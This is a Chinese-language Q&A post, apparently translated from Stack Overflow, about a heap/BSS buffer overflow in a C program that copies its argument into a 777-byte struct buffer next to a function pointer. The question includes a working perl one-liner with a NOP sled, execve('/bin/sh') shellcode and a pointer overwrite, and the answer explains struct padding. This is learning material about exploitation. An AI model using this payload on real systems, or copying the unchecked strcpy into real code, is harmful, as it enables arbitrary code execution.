堆溢出 - 堆的结构

时间:2015-12-14 19:14:53

标签: c heap-memory

当尝试执行基本堆攻击时,我理解所有内容,除了输入字符串的大小。可以使用perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"'作为程序的参数来利用以下代码。使用的shellcode长度为21个字节。这里总字符串的大小是785个字节,这是777个缓冲区+ 4个我不知道的东西,4个是我们覆盖的函数指针。

我读了here这4个字节是:

  

指针跟踪堆栈的顶部,类似于堆栈的堆栈指针

我的假设是否正确?

#include <stdio.h>
#include <unistd.h>

void greetUser(char *s) {
    printf("Hello %s!\n", s);
}

struct data_t {
    char buf[777];
    void (*fp)(char *);
} somedata;

int main(int argc, char **argv) {
    somedata.fp = &greetUser;

    if(argc < 2) {
    printf("Usage: %s YourName\n", argv[0]);
    exit(1);
    }

    strcpy(somedata.buf, argv[1]);
    (somedata.fp)(somedata.buf);

    return 0;
}

1 个答案:

答案 0 :(得分:2)

不,这不正确。 你只需要溢出784字节:

 char buf[777];     // 777 bytes
 <padding>          // usually 7 bytes to have fp 8-byte-aligned
void (*fp)(char *); // 8 bytes function pointer

在64位系统上。在32位系统上,fp应该是4字节对齐的(因此fp在结构开始后开始780字节)